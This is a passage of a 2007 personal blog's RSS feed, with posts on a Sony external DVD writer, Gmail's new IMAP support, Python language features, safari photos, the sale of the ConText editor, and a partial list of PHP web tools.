isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-7201471837327205676</guid><description>&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; float: right; border-bottom-width: 0px; width: 165px; height: 115px; border-right-width: 0px" alt="Sony DRX-S70U" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/drxs70u.gif" /&gt;   &lt;p&gt;After &lt;a href="http://www.devhardware.com/forums/storage-devices-80/dvd-burning-issue-136676.html"&gt;several&lt;/a&gt; &lt;a href="http://forums.afterdawn.com/thread_view.cfm/511012"&gt;attempts&lt;/a&gt; in trying to figure out what went wrong with my 1.5 year old HP DVD Writer, I could come to no other conclusion than a hardware failure.&lt;/p&gt;  &lt;p&gt;In a desperate need for a burner, I recently decided to get an external one instead, powered by USB so that I don't have to depend on a single PC incase of internal PC malfunction. Among the very few available to choose from, I got a &lt;a href="http://www.sony-asia.com/microsite/storage/optical/cddvdrw/cddvdrw-brand-drxs70u.jsp"&gt;Sony DRX-S70U&lt;/a&gt; external slim DVD Writer for Rs. 7,000 (~$175). Its the notebook type of drive, so it writes at pretty low speeds (HP disks at 2x).&lt;/p&gt; Better off to use the cheapest internal writer to be replaced every one year or two, rather than getting an expensive branded one for this purpose.   &lt;p&gt;There was drive that was really mouth-watering : Sony Blue-Ray &lt;a href="http://www.sony-asia.com/microsite/storage/optical/bluray/bluray-brand-bwu100a.jsp"&gt;BWU-100A&lt;/a&gt;. Unfortunately, its costs a whopping Rs 38,000 (~$950) !&lt;/p&gt;  &lt;div style="text-align: center"&gt;&lt;a href="http://i81.photobucket.com/albums/j212/anjanesh/Blog/DRX-S70U-2.jpg"&gt;&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; border-bottom-width: 0px; vertical-align: top; width: 240px; height: 320px; border-right-width: 0px" alt="Sony DRX-S70U" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/DRX-S70U-2-1.jpg" /&gt;&lt;/a&gt; &lt;a href="http://i81.photobucket.com/albums/j212/anjanesh/Blog/DRX-S70U-1.jpg"&gt;&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; border-bottom-width: 0px; width: 320px; height: 240px; border-right-width: 0px" alt="Sony DRX-S70U" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/DRX-S70U-1-1.jpg" /&gt;&lt;/a&gt; &lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-7201471837327205676?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/nPeWeTu0Ykg" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-10-29T17:53:30.475+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/10/sony-drx-s70u.html</feedburner:origLink></item><item><title>GMail Unbeatable</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/kCfYHmzmVto/gmail-unbeatable.html</link><category>email</category><category>Google</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Wed, 24 Oct 2007 08:13:43 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-7654404923808673427</guid><description>&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; float: right; border-bottom-width: 0px; width: 143px; height: 44px; border-right-width: 0px" alt="GMail" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/gmail.gif" /&gt;   &lt;p&gt;When Gmail was first launched in 2004, its most attractive features were fast AJAX interface and POP+SMTP ! Though Microsoft Email clients like Outlook &amp;amp; Express managed to emulate POP &amp;amp; SMTP for Hotmail accounts, POP+SMTP was not really available. But above all, it was Gmail's initial 1GB and growing storage capacity what really lured people to using it. By 2007, with space of almost 3GB and 10GB for the paid versions, Google has recently increased their capacity to 4GB (&lt;a href="http://googlesystem.blogspot.com/2007/10/gmails-storage-increases-dramatically.html"&gt;targetted to 6GB by Jan '08&lt;/a&gt;) and 25GB for paid versions.&lt;/p&gt;  &lt;p&gt;And now for the most anticipated feature of all - &lt;a href="http://en.wikipedia.org/wiki/IMAP"&gt;&lt;b&gt;IMAP&lt;/b&gt;&lt;/a&gt;. Thats right. Google has just started rolling out &lt;a href="https://mail.google.com/support/bin/topic.py?topic=12760"&gt;IMAP for gmail accounts&lt;/a&gt;. This may not come as a very big excitement for most users, but it definitely does for developers who can now access gmail accounts directly via the IMAP protocol. The only other free service that was providing this so far, was AOL.&lt;/p&gt;  &lt;p&gt;There may have been a lack of new services by Google this year, but if definitely seems to be improving their existing ones dramatically. After all, it &lt;a title="Google Crosses $600 a Share for the First Time" href="http://googlesystem.blogspot.com/2007/10/google-crosses-600-share-for-first-time.html"&gt;reached the $600 a share mark&lt;/a&gt; a couple of weeks back and is close to $670 as of &lt;a href="http://finance.google.com/finance?client=ob&amp;amp;q=GOOG"&gt;now&lt;/a&gt;.&lt;/p&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-7654404923808673427?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/kCfYHmzmVto" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-10-24T20:43:43.755+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/10/gmail-unbeatable.html</feedburner:origLink></item><item><title>Why Python Rocks</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/0PoNPhMH5z0/why-python-rocks.html</link><category>Programming</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Thu, 27 Sep 2007 21:34:51 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-5073385188242589532</guid><description>I was checking out the Python programming language, and I must say, this reminded my a lot on the basic set theory I learnt when I was in the 11th grade. Its like as if, Python (Py for short) is made for math geeks. Its not about the math or any other library that has a load of math functions - its the way the language is designed - where the language is itself very much like writing 'math code'.&lt;ul&gt;&lt;li&gt;&lt;b&gt;Calculator : &lt;/b&gt;Has a direct interpreter-cum-IDE that doesn't require you to store any code in a file first. All executed statements are stored temporarily in RAM. This something like the &lt;i&gt;Immediate Window&lt;/i&gt; Microsoft QuickBasic offered.
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Exponentiation : &lt;/b&gt;To find the value of &lt;i&gt;x&lt;sup&gt;n&lt;/sup&gt;&lt;/i&gt; in Java, .NET, PHP, JavaScript etc, built-in &lt;b&gt;pow&lt;/b&gt; function is to be used. In Py, this function call is saved by an arithmetic operation **. x ** n. ( Though pow() function does exist in the math library )
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Functions can return more than one value : &lt;/b&gt;
&lt;pre class="code"&gt;
def foo(a, b):
    return (a + b, a - b)

x, y = foo(5, 3)
print x, y
&lt;/pre&gt;(5, 3) is called a tuple which is different from [5, 3] which is a list (an array).
Even C# doesn't have this functionality - the maximum you can come close to it is, using the &lt;i&gt;out&lt;/i&gt; keyword :
&lt;pre class="code"&gt;
void foo(out int a, out int b)
 {
 }
&lt;/pre&gt;but even this doesn't replicate the actual "return more than one value function"&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;substring : &lt;/b&gt;No need for a substring() function - strings natively support accessing part of the string using 2 indices separated by a colon.
&lt;pre class="code"&gt;
&amp;gt;&amp;gt;&amp;gt; s = 'Python'
&amp;gt;&amp;gt;&amp;gt; s[3] # print s[3], if print is not mentioned, it'll automatically do a print
'h'
&amp;gt;&amp;gt;&amp;gt; s[2:5] # from 2 to 4
'tho'
&amp;gt;&amp;gt;&amp;gt; s[:3]  # from 0 to 2
'Pyt'
&amp;gt;&amp;gt;&amp;gt; s[3:]  # 3 to last
'hon'
&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Parallel assignments : &lt;/b&gt;In most languages, if you do &lt;span class="code"&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; a = &lt;font color="#ff0000"&gt;5&lt;/font&gt;, b = &lt;font color="#ff0000"&gt;6&lt;/font&gt;;&lt;/span&gt; it would get read sequentially - declare a of type int and assign it to 5 and then declare b of type int and assign it to 6.&lt;br/&gt;In Py, you can just do a, b = &lt;font color="#ff0000"&gt;5&lt;/font&gt;, &lt;font color="#ff0000"&gt;6&lt;/font&gt; making the assignment in a parallel fashion. a, b, c, d, e = 56, 98, 'b', False, 1.01&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Complex numbers : &lt;/b&gt;The last time I ever used complex numbers in a computer program was in school. Yet, this is another bonus for the math people - built-in support for Complex numbers !
&lt;pre class="code"&gt;
&amp;gt;&amp;gt;&amp;gt; a = 2+3j + 3+2j
&amp;gt;&amp;gt;&amp;gt; a
(5+5j)
&amp;gt;&amp;gt;&amp;gt; a.real
5.0
&amp;gt;&amp;gt;&amp;gt; a.imag
5.0
&amp;gt;&amp;gt;&amp;gt;&lt;/pre&gt;Odd why &lt;b&gt;j&lt;/b&gt; is used to represent imaginary instead of the &lt;b&gt;i&lt;/b&gt; we're used to.
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;String multiplication : &lt;/b&gt;Yet another string thing - multiplying a string with a number &lt;i&gt;n&lt;/i&gt; is equivalent to concatenating it &lt;i&gt;n&lt;/i&gt; times.
&lt;pre class="code"&gt;
&amp;gt;&amp;gt;&amp;gt; word = 'Python'
&amp;gt;&amp;gt;&amp;gt; word * 5
'PythonPythonPythonPythonPython'
&amp;gt;&amp;gt;&amp;gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Compound Data Types : &lt;/b&gt;One thing that makes it easier for PHP coders is that they got to deal with a single data type to deal with lists and the like - &lt;b&gt;array&lt;/b&gt;. Its everything you need to store a tree. Most of the functions dealing with arrays are already built in having the &lt;b&gt;array_&lt;/b&gt; prefix.
In Py, there are different data types that are essentially like PHP's arrays but handled differently - &lt;b&gt;Lists&lt;/b&gt;, &lt;b&gt;Tuples&lt;/b&gt;, &lt;b&gt;Sequences&lt;/b&gt;, &lt;b&gt;Sets&lt;/b&gt; and &lt;b&gt;Dictionaries&lt;/b&gt; ! Its a whole less keystrokes to type, but if you're too used to ArrayList() and its method calls, it'll probably be a bit too confusing to get used to Python's paradigm.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Compiled Code : &lt;/b&gt;Though Python is an interpreted language, it provides a feature that Java first came up with - byte-compiled version of the source code. Compiling source-code (.py) to byte-compiled version (.pyc), the latter just loads faster. This is may not be very relevant in terms of speed execution, atleast we can hide the source code directly.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Multiple Inheritance : &lt;/b&gt;And you thought all new languages wouldn't support multiple inheritance ! Well, this is one that's at par with C++. Even though many might dread the pitfalls of multiple inheritance, Py relies on &lt;i&gt;conventions to avoid accidental conflicts&lt;/i&gt;.&lt;/li&gt;&lt;/ul&gt;If this post has inspired you start learning Python now, you might as well dive into the newer super-major release of Python - Python 3000 (a.k.a. "Py3k", and released as Python 3.0). From Guido van Rossum's blog :
&lt;blockquote&gt;&lt;p&gt;Python 3000 (a.k.a. "Py3k", and released as Python 3.0) is a new version of the language that is incompatible with the 2.x line of releases. The language is mostly the same, but many details, especially how built-in objects like dictionaries and strings work, have changed considerably, and a lot of deprecated features have finally been removed. &lt;/p&gt;&lt;/blockquote&gt;There are some changes in the basic language constructs which are updated in the &lt;a href="http://docs.python.org/dev/3.0/whatsnew/3.0.html"&gt;What's New&lt;/a&gt; section.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-5073385188242589532?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/0PoNPhMH5z0" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-09-28T10:04:51.005+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/09/why-python-rocks.html</feedburner:origLink></item><item><title>African Trip Photos</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/ocTY_u36aJM/african-trip-photos.html</link><category>Fun</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sun, 16 Sep 2007 13:28:20 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-1796852094465705495</guid><description>&lt;p&gt;My mom's friend went on an African Trip (Kenya and Tanzania) during the last 10 days of August. Just before she left for her journey, I told her about the infamous &lt;a href="http://en.wikipedia.org/wiki/Battle_at_Kruger"&gt;Battle at Kruger&lt;/a&gt; video that was first aired on YouTube a couple of months back (even though it was shot in 2004). [ &lt;a href="http://www.youtube.com/watch?v=LU8DDYz68kM"&gt;YouTube Link&lt;/a&gt; ]    &lt;br /&gt;    &lt;br /&gt;The chances of an incident like the Kruger Battle happening is like once in a 100 years - let alone capturing it on video. But then, in 10 yrs from now, Google would probably be recording everything happening on earth on every centimeter square ! Google for incidents !    &lt;br /&gt;    &lt;br /&gt;I told my mom's friend to capture whatever and how much ever possible - to look for possible signs of attacks etc. Well...unfortunately nothing really happened, though there were times where something was &lt;i&gt;about&lt;/i&gt; to happen but aborted sooner than later.    &lt;br /&gt;    &lt;br /&gt;Anyway, here are some really nicely shot snaps of African Wildlife.    &lt;br /&gt;&lt;/p&gt;  &lt;div style="font-size: 15px; text-align: center"&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1385739849/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSafari 203 (8)" src="http://farm2.static.flickr.com/1390/1385739849_e9dd5b0b7a.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1381460894/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0073" src="http://farm2.static.flickr.com/1300/1381460894_4e975eabf0.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1381734242/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0099" src="http://farm2.static.flickr.com/1044/1381734242_6d204adcff.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1380769321/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0097" src="http://farm2.static.flickr.com/1318/1380769321_7d3f3f756a.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1381837898/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0109" src="http://farm2.static.flickr.com/1361/1381837898_44c6ccdf36.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1381908970/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0115" src="http://farm2.static.flickr.com/1403/1381908970_2e6176e0cd.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1381894291/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0143" src="http://farm2.static.flickr.com/1422/1381894291_1571b7ecf6.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;The 2 cheetahs are hunting for something else in front of the giraffe !&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1383588435/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0164" src="http://farm2.static.flickr.com/1167/1383588435_ef6cb877fd.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1384860434/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0198" src="http://farm2.static.flickr.com/1388/1384860434_f2ebd624db.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386221954/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0279" src="http://farm2.static.flickr.com/1031/1386221954_108c73e1a0.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1385445243/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0293" src="http://farm2.static.flickr.com/1438/1385445243_900ccad6f6.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386521178/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0319" src="http://farm2.static.flickr.com/1079/1386521178_74caf35c18.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;Zebra Crossing !&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1385632565/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="Zebra Crossing" src="http://farm2.static.flickr.com/1050/1385632565_f6f7aa7abe.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;Definitely not hunting to be walking on the path of car tracks !&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386060635/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0414" src="http://farm2.static.flickr.com/1029/1386060635_d1fba89d72.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1387001802/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0420" src="http://farm2.static.flickr.com/1212/1387001802_633ad9fd36.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;Even the Hippo's skin ain't think enough !&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386407571/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0463" src="http://farm2.static.flickr.com/1070/1386407571_a31995207a.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;This is my favourite !     &lt;br /&gt;A strange blue-red chameleon (?) on the edge of a rock surrounded by big bones !&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386368989/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0456" src="http://farm2.static.flickr.com/1218/1386368989_d32d55ba48.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;This is in a cage&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1387529068/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="DSCN0553" src="http://farm2.static.flickr.com/1121/1387529068_00f5d6905d.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;Flamingos&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386482466/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="Lesser Flamingos 13" src="http://farm2.static.flickr.com/1313/1386482466_5dc85bed57.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;Bambis&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386637740/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="MSafari 003" src="http://farm2.static.flickr.com/1167/1386637740_f040b61875.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1383750337/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="Safari 002" src="http://farm2.static.flickr.com/1415/1383750337_264c7ce37f.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1383939371/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="Safari 106" src="http://farm2.static.flickr.com/1261/1383939371_e57b071849.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;Excellent looking colourful bird. Wish I knew the name of the species.&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1385306383/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="Safari 163" src="http://farm2.static.flickr.com/1202/1385306383_a8527830cc.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;&lt;span&gt;No closeups of the cute little cubs !     &lt;br /&gt;Budget digicams have got to increase their zoom power to much more !&lt;/span&gt;    &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/anjanesh/1386514083/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; height: 375px; border-right-width: 0px" alt="Safari 207" src="http://farm2.static.flickr.com/1345/1386514083_4cfe6c867a.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-1796852094465705495?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/ocTY_u36aJM" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-09-17T01:58:20.828+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/09/african-trip-photos.html</feedburner:origLink></item><item><title>ConText out of Eden's Garden</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/fUjXn3QUJsg/context-out-of-eden-garden.html</link><category>software</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Wed, 24 Oct 2007 08:12:22 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-1212433391086927110</guid><description>&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; float: right; border-bottom-width: 0px; width: 55px; height: 50px; border-right-width: 0px" alt="ConText" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/context.jpg" /&gt; &lt;a href="http://www.context.cx/"&gt;ConText&lt;/a&gt;, a fairly popular light-weight syntax text editor for Windows, developed and maintained solely by a Croatian named Eden Kirin, is out for sale ! Since the lastest release v0.98.5 in December 2006, there has been no activity in its development and Eden was hardly on the forums. Ever since he decided to revamp the entire thing for version 1.0, there was a lot of eagerness from his fans. After almost a year, he has finally posted on the main page :   &lt;blockquote&gt;   &lt;p&gt;Due to various engagements which cause lack of my full attention and continuous further development of the ConTEXT project, I'm officially announcing that the ConTEXT project is offered FOR SALE and starting the bid.      &lt;br /&gt;      &lt;br /&gt;Buyer will get: &lt;/p&gt;    &lt;ul&gt;     &lt;li&gt;Full source code of ConTEXT Programmers Editor's last three releases. &lt;/li&gt;      &lt;li&gt;Full source code of unfinished ConTEXT v1.0. &lt;/li&gt;      &lt;li&gt;Full source code of ConTEXT Programmers Editor's dependent units and libraries. &lt;/li&gt;      &lt;li&gt;Fully functional ConTEXT web site located at www.context.cx with well visited support forum. &lt;/li&gt;      &lt;li&gt;Ownership of domain name context.cx. &lt;/li&gt;   &lt;/ul&gt;    &lt;br /&gt;Buyer will be allowed to:     &lt;ul&gt;     &lt;li&gt;Use source code in his own projects. &lt;/li&gt;      &lt;li&gt;Change name of ConTEXT Programmers Editor according to their own needs. &lt;/li&gt;      &lt;li&gt;Change status of project from freeware to shareware, commercial or any other, according to their needs. &lt;/li&gt;      &lt;li&gt;Sell ConTEXT under original or under changed name. &lt;/li&gt;      &lt;li&gt;Change contents or purpose of the official ConTEXT web site. &lt;/li&gt;   &lt;/ul&gt; Please send your serious offers and any questions regarding this bid to iwant-at-context-dot-cx. Bidding will be closed on December 7th 2007. The bidding process will not be public.     &lt;br /&gt;    &lt;br /&gt;Eden Kirin, author of ConTEXT Programmers Editor project     &lt;p&gt;&lt;/p&gt; &lt;/blockquote&gt; Most of its users are hoping it to be taken &amp;amp; open-source it.   &lt;br /&gt;There are two alternatives I'm looking at if this gets frozen - a free editor called &lt;a href="http://notepad-plus.sourceforge.net/"&gt;Notepad+ +&lt;/a&gt; and a commercial one for $35 called &lt;a href="http://www.e-texteditor.com/"&gt;e&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-1212433391086927110?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/fUjXn3QUJsg" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-10-24T20:42:22.305+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/09/context-out-of-eden-garden.html</feedburner:origLink></item><item><title>Very Useful Scripts and Pluggable GUI Solutions</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/8OIZvdmuJ-g/very-useful-scripts-and-pluggable-gui.html</link><category>Solution</category><category>technology</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Fri, 14 Sep 2007 11:56:22 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-8983919807106976392</guid><description>&lt;p&gt;Sometime ago, a friend of mine consulted me on how to develop a newsletter management system for his client based on PHP and MySQL.    &lt;br /&gt;We talked for a while on this and though this was simple enough to create a fairly simple newsletter management system from scratch, at the end of one month of his development, he had various issues regarding emails not being sent properly. It finally took his developer 2 months to get it over with and resulted in many support tickets to his hosting company. Because his website was on a shared host, he got limited to sending a # number of emails per hour and worse still, the emails couldn't be sent with HTML embedded in them (Content-type: text/html) - the HTML page had to sent as an attachment instead.     &lt;br /&gt;    &lt;br /&gt;At first I recommended to use &lt;a href="http://anjanesh.blogspot.com/2006/12/google-apps-for-domains.html"&gt;Google Apps&lt;/a&gt; to host emails, but later found out that there's a limitation of sending about 50 emails at a time using Google Mail.     &lt;br /&gt;    &lt;br /&gt;A few weeks later I found out about phpList - and open-source Newsletter Management System based on PHP &amp;amp; MySQL ! If only I had known that before ! It may require a lot of customization, but the ground work is already done which would've saved a load of time for my friend &amp;amp; his developer.     &lt;br /&gt;    &lt;br /&gt;Here is a list of very common pluggable GUI solutions for the web, most of them based on PHP and MySQL. I shall update this list when I stumble across more such useful solutions.     &lt;br /&gt;    &lt;br /&gt;I've not mentioned full-blown solutions like CMS&lt;i&gt;es&lt;/i&gt; &amp;amp; frameworks such as Joomla, e107, Spring, Drupal, Xaraya etc where you would normally install in the primary folder of your domain. On the other hand, the following would normally be installed at the subdomain or subfolder level of your primary domain.     &lt;br /&gt;    &lt;br /&gt;&lt;/p&gt;  &lt;table class="tbl-normal" border="1"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;th&gt;Name&lt;/th&gt;        &lt;th&gt;What Is It&lt;/th&gt;        &lt;th&gt;Brief Description as quoted from site&lt;/th&gt;        &lt;th&gt;Licence&lt;/th&gt;        &lt;th&gt;Technology&lt;/th&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.phplist.com/"&gt;phpList&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Newsletter Management System&lt;/td&gt;        &lt;td&gt;phplist is a one-way email announcement delivery system. It is great for newsletters, publicity lists, notifications, and many other uses.&lt;/td&gt;        &lt;td&gt;Open Source&lt;/td&gt;        &lt;td&gt;PHP&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td&gt;&lt;a href="http://phpbms.org/"&gt;phpBMS&lt;/a&gt;&lt;/td&gt;        &lt;td&gt;Business Management Software&lt;/td&gt;        